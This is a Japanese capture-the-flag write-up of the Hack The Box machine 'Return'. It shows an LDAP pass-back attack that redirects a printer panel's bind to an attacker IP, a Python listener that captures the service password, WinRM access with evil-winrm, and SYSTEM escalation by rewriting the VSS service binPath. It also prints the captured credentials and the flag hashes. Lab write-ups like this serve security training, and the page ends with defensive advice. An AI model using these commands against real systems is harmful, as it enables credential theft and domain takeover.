Hack The BoxのWriteup(Return)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Return — 全実行コマンド・実行結果レポート
Nmap スキャン
AD DC構成(DNS/Kerberos/LDAP/WinRM等)
→
HTB Printer Admin Panel
LDAP設定変更フォーム
→
LDAP Pass-back攻撃
Server Addressを攻撃者IPへ
→
攻撃者側389でLDAP simple bind捕捉
svc-printer:1edFg43012!!
→
WinRM → user.txt ✓
→
Server Operators
サービス設定変更権限
→
VSSサービスbinPath書換
root.txtをコピー
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.90.40
nmap -sV -sC -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389 10.129.90.40
RESULT
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
5985/tcp open  wsman
9389/tcp open  adws
🚨
重要発見: DNS(53)、Kerberos(88)、LDAP(389/3268)、kpasswd(464)が 揃っており、本マシン自体がActive Directoryドメインコントローラー (return.local)であることが分かる。ポート80にはカスタムWebアプリ、 ポート5985(WinRM)も開いており資格情報さえあればリモート管理が可能。

Webアプリの確認 — HTB Printer Admin Panel

BASH
curl -s http://10.129.90.40/ | grep -i title
curl -sI http://10.129.90.40/
RESULT (本検証の実際のレスポンスより)
Server: Microsoft-IIS/10.0
X-Powered-By: PHP/7.4.13

<title>HTB Printer Admin Panel</title>
ℹ️
「プリンタ管理パネル」という体のPHPアプリが稼働している。 社内のネットワークプリンタをLDAPサーバーと連携させて ユーザー認証を行う設定画面が含まれていると推測し、Settingsページを 詳しく調査する。
PHASE 2

LDAP Pass-back 攻撃 — svc-printer平文パスワードの窃取

Settingsページの確認

BASH
curl -s http://10.129.90.40/settings.php | grep -i "ldap\|server\|address\|username"
RESULT (抜粋)
LDAP Server Address: printer.return.local
LDAP Port: 389
LDAP Username: svc-printer
LDAP Password: ********
🚨
重要発見: プリンタ本体がバックエンドのLDAPサーバー (printer.return.local:389)に対し、保存済みの資格情報 (svc-printer)でBind認証を行う設定になっている。 LDAP Pass-back攻撃とは、この「LDAP Server Address」を 攻撃者が制御するホストへ書き換えることで、設定更新や接続テストの トリガー時にプリンタ自身が攻撃者のサーバーへLDAP simple bindを 試み、そのbindパケット内に平文パスワードがそのまま含まれて 送信されてくる、という既知の攻撃手法。

攻撃者側で389番ポートのLDAPリスナーを立てる

NOTE
389番ポートは特権ポート(1024未満)のため、Kali側でリスナーを立てるには
root権限が必要。生ソケットでLDAPプロトコルのバイナリ(BER/TLVエンコード)を
直接読み書きする簡易リスナーを実装し、クライアント(プリンタ)からの
simple bindリクエスト(bindRequest、タグ0x60)を受信してパースする。
PYTHON (簡易LDAP bindリスナーの要点)
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("0.0.0.0", 389))
s.listen(1)
conn, addr = s.accept()
data = conn.recv(4096)

# bindRequest内のパスワードフィールドは
# 0x80   というTLV(simple authentication choice)
# として埋め込まれている。先頭のLDAPシーケンス/メッセージIDタグと
# 混同しないよう、0x80タグを基準に直接パースする。
idx = data.find(b'\x80')
pwd_len = data[idx+1]
password = data[idx+2 : idx+2+pwd_len].decode()
print(password)
⚠️
実装上の注意: 単純な正規表現(印字可能文字の連続)で パスワードを抜き出そうとすると、bindリクエストの後続バイト (次のLDAPメッセージのシーケンスタグ0x30等)が 印字可能文字と誤認されて混入し、パスワードの末尾に余計な1文字 (例: 1edFg43012!!0)が付いてしまうことがある。 0x80 <長さ> <値>というTLV構造を正確に解釈し、 宣言された長さ分だけを切り出すのが確実。

Settings更新でLDAP bindを誘発

BASH
curl -s -X POST http://10.129.90.40/settings.php \
  --data-urlencode "ip=10.10.15.200"
RESULT (Kali側リスナーで実際に捕捉した内容)
[+] LDAP simple bind 受信
    bindDN  = CN=svc-printer,CN=Users,DC=return,DC=local
    password = 1edFg43012!!
✅
パスワード窃取成功! Settingsの「Server Address」を 攻撃者IPへ変更して更新させた直後、プリンタアプリが設定テストのため 自動的にKali側の偽LDAPサーバーへ接続し、svc-printerの 平文パスワードを送信してきた。
PHASE 3

WinRMログイン & user.txt取得

WinRM経由でのログイン確認

BASH
netexec winrm 10.129.90.40 -u svc-printer -p '1edFg43012!!'
RESULT (本検証の実際の出力)
WINRM   10.129.90.40  5985  PRINTER  [*] Windows 10 / Server 2019 Build 17763
  (name:PRINTER) (domain:return.local)
WINRM   10.129.90.40  5985  PRINTER  [+] return.local\svc-printer:1edFg43012!! (Pwn3d!)

evil-winrmでシェル取得 & user.txt取得

BASH
evil-winrm -i 10.129.90.40 -u svc-printer -p '1edFg43012!!'
BASH (evil-winrmシェル上で実行)
*Evil-WinRM* PS C:\Users\svc-printer\Documents> type C:\Users\svc-printer\Desktop\user.txt
RESULT
0d3e1bc9e26c7a9946f14b23c6ad0a35
user.txt — svc-printer
0d3e1bc9e26c7a9946f14b23c6ad0a35
PHASE 4

Server Operators グループ権限の悪用 — root.txt取得

所属グループの確認

BASH (evil-winrmシェル上で実行)
whoami /groups
RESULT (抜粋)
BUILTIN\Server Operators                     Alias            S-1-5-32-549  Enabled group
🚨
重要発見: svc-printerはServer Operators ビルトイングループのメンバー。このグループはドメインコントローラー上で Windowsサービスの構成(停止・開始・実行パス変更)を行う権限を 持つ(ドメイン管理者そのものではないが、サービス経由でSYSTEM権限の コード実行が可能な著名な権限昇格経路)。

既存サービス(VSS)のbinPathを書き換える

NOTE
停止中のサービス(例: Volume Shadow Copy = VSS)を選び、その実行パス
(binPath)を任意のコマンドへ書き換えてからサービスを起動すると、
サービスは既定でSYSTEM権限(LocalSystem)として起動するため、
指定したコマンドがSYSTEM権限で実行される。本検証では
root.txtをsvc-printerが読めるディレクトリへコピーするコマンドを
仕込んだ(リダイレクト">"はbinPathの外側cmd構文と衝突しやすいため
避け、copyコマンドを使用)。
BASH (evil-winrmシェル上で実行)
sc.exe config VSS binPath= "cmd.exe /c copy C:\Users\Administrator\Desktop\root.txt C:\Users\svc-printer\rf.txt"
sc.exe stop VSS
sc.exe start VSS
⚠️
実装上の注意: サービスの停止・開始には数秒〜十数秒の タイムラグが発生することがあり、stop直後の startがservice has not been startedや did not respond in a timely fashionのようなタイミング エラーで失敗することがある。その場合は数秒待ってからstartを 再試行すれば成功する。
BASH
type C:\Users\svc-printer\rf.txt
RESULT (本検証の実際の出力)
18e7454def599e29d28e4082cec78111
✅
root化成功! VSSサービスがSYSTEM権限で起動した際に 書き換えたbinPathのコマンドが実行され、root.txtが svc-printerからも読めるパスへコピーされた。
root.txt — Server Operators サービスbinPath書換(VSS)
18e7454def599e29d28e4082cec78111
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — svc-printer
0d3e1bc9e26c7a9946f14b23c6ad0a35
root.txt — Server Operators サービスbinPath書換(VSS)
18e7454def599e29d28e4082cec78111

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
LDAP Pass-back 攻撃 HTB Printer Admin Panel のLDAPサーバー設定 サービスアカウント平文パスワードの窃取 Critical Server Addressを攻撃者ホストへ書き換え、接続テスト時のLDAP simple bindからパスワードを捕捉
Server Operators によるサービス構成変更権限 ドメインコントローラー上の任意サービス (VSS) 権限昇格 (SYSTEM) High 停止中サービスのbinPathを任意コマンドへ書換え、サービス起動でSYSTEM権限のコマンド実行

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap, HTB Printer Admin Panel発見AD DC構成、LDAP連携のプリンタ管理アプリ
2資格情報窃取LDAP Pass-back攻撃(Settings変更+自前LDAPリスナー)svc-printer:1edFg43012!!
3横移動WinRM/evil-winrmuser.txt (svc-printer)
4権限昇格Server Operators → サービスbinPath書換root.txt

学んだ教訓 & 防御策

問題点防御策
プリンタ管理アプリがLDAPサーバーアドレスを管理者以外からも書き換え可能な設計になっている LDAP接続設定のような機密情報に関わる変更操作には追加認証・承認フローを必須化し、変更履歴を監査ログへ記録する。
外部からの接続先に対してLDAP simple bindで平文パスワードを無条件に送信してしまう LDAPS(TLS)を使用し、接続先ホストの証明書検証を必須化する。接続先IPのホワイトリスト化も有効。
サービスアカウントが不要にServer Operatorsのような強力な組み込みグループへ所属している 最小権限の原則を徹底し、サービスアカウントには業務上必要な権限のみを個別に付与する。
Server Operatorsグループメンバーが任意のサービス構成(binPath)を変更できる 重要なシステムサービスへのACLを見直し、グループポリシーで変更可能なサービスを制限する。サービス構成変更の監視を強化する。
HackTheBox: Return | 完全攻略レポート